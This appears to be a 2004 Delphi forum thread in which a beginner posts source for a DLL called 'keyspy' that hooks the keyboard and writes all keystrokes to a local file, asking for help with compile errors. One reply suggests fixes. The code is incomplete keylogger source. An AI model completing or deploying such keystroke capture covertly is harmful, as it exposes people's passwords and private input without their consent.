DELPHI盒子
!实时搜索: 盒子论坛 | 注册用户 | 修改信息 | 退出
检举帖 | 全文检索 | 关闭广告 | 捐赠
技术论坛
 用户名
 密  码
自动登陆(30天有效)
忘了密码
≡技术区≡
DELPHI技术
lazarus/fpc/Free Pascal
移动应用开发
Web应用开发
数据库专区
报表专区
网络通讯
开源项目
论坛精华贴
≡发布区≡
发布代码
发布控件
文档资料
经典工具
≡事务区≡
网站意见
盒子之家
招聘应聘
信息交换
论坛信息
最新加入: qiaoguoqiang
今日帖子: 14
在线用户: 10
导航: 论坛 -> DELPHI技术 斑竹:liumazi,sephil  
作者:
男 lyl910 (颠三倒四) ★☆☆☆☆ -
盒子活跃会员
2004/3/25 10:41:44
标题:
来帮我看一下这个 关于hook的dll 编译不过去 浏览:1141
加入我的收藏
楼主: 不会用 dll 和 hook现在想学 网络上看到 教程 照样做会出现这个问题,附件是
打包了的源码,请有空的同志帮我看看

错误提示是:
[Error] Hookproc.pas(9): Unsatisfied forward or external declaration: 'keyboardhook'
[Error] Hookproc.pas(10): Unsatisfied forward or external declaration: 'setkeyhook'
[Fatal Error] keyspy.dpr(19): Could not compile used unit 'Hookproc.pas'

-----------------
library keyspy;

{ Important note about DLL memory management: ShareMem must be the
  first unit in your library's USES clause AND your project's (select
  Project-View Source) USES clause if your DLL exports any procedures or
  functions that pass strings as parameters or function results. This
  applies to all strings passed to and from your DLL--even those that
  are nested in records and classes. ShareMem is the interface unit to
  the BORLNDMM.DLL shared memory manager, which must be deployed along
  with your DLL. To avoid using BORLNDMM.DLL, pass string information
  using PChar or ShortString parameters. }

uses
  SysUtils,
  Classes,
  windows,
  messages,
  Hookproc in 'Hookproc.pas',
  Unit1 in 'Unit1.pas' {Form1};

{$R *.res}
exports
 setkeyhook, endkeyhook;

begin
 nexthookproc:=0;
 procsaveexit:=exitproc;
 exitproc:=@keyhookexit;   
end.
------------------------
unit Hookproc;

interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;

var nexthookproc:hhook; procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子
procedure keyhookexit;far;
const afilename='c:\debug.txt';//将键盘输入动作写入文件中
var debugfile :textfile;

implementation

function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
begin
if icode<0 then
 begin
  result:=callnexthookex(nexthookproc,icode,wparam,lparam);
  exit;
 end;
assignfile(debugfile,afilename); append(debugfile);
if getkeystate(vk_return)<0 then
 begin writeln(debugfile,'');
  write(debugfile,char(wparam));
 end
else write(debugfile,char(wparam)); closefile(debugfile);
 result:=0;
end;

function endkeyhook:bool;export;
 begin
  if nexthookproc<>0 then   begin unhookwindowshookex(nexthookproc); nexthookproc:=0;
  messagebeep(0);  end; result:=nexthookproc=0;
 end;
procedure keyhookexit;far;
 begin
  if nexthookproc<>0 then endkeyhook; exitproc:=procsaveexit;
 end;
end.
-------------------------------------
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
setkeyhook//启动
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
endkeyhook;//关闭
end;

end.
此帖子包含附件:lyl910_2004325104144.rar 大小:3,968B
----------------------------------------------
向大家学习。
作者:
男 ddzhouqian (007) ★☆☆☆☆ -
盒子活跃会员
2004/3/25 12:45:08
1楼: 1 在unit Hookproc中把function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;中的keyboardhook改成keyboardhookhandler
2 而function setkeyhook:bool;export;//加载钩子此函数只有声明没有定义.
3 在unit unit1中的 implementation下键入uses Hookproc
4 try一下!


----------------------------------------------
-按此在新窗口浏览图片
信息
登陆以后才能回复
Copyright © 2CCC.Com 盒子论坛 v3.0.1 版权所有 页面执行78.125毫秒 RSS